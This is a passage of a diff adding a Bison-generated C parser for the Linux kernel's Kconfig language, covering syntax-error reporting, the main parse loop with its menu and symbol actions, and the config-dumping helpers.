case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if ((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - (3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + { + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + 